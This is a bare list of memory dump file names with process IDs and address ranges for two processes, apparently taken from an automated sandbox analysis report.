            memory/6092-15-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

            memory/6092-13-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

            memory/6092-12-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

            memory/6092-11-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

            memory/6092-4-0x00000133389D0000-0x00000133389F2000-memory.dmp

            memory/6092-18-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

            memory/6092-22-0x0000013338A10000-0x0000013338A22000-memory.dmp

            memory/6092-19-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

            memory/6092-20-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

            memory/6092-23-0x0000013338B60000-0x0000013338B70000-memory.dmp

            memory/6092-3-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

            memory/6092-7-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

            memory/6092-2-0x00007FF95CD9F000-0x00007FF95CDA0000-memory.dmp

            memory/6092-8-0x00007FF95CC10000-0x00007FF95D5B4000-memory.dmp

            memory/6112-101-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

            memory/6112-102-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

            memory/6112-86-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

            memory/6112-85-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

            memory/6112-63-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

            memory/6112-62-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

            memory/6112-65-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

            memory/6112-58-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

            memory/6112-64-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

            memory/6112-59-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

            memory/6112-54-0x00000204C3AF0000-0x00000204C3B40000-memory.dmp

            memory/6112-55-0x00000204C3AA0000-0x00000204C3AB2000-memory.dmp

            memory/6112-114-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

            memory/6112-115-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

            memory/6112-119-0x00000204DC620000-0x00000204DC6CF000-memory.dmp

            memory/6112-120-0x00000204DC620000-0x00000204DC6CF000-memory.dmp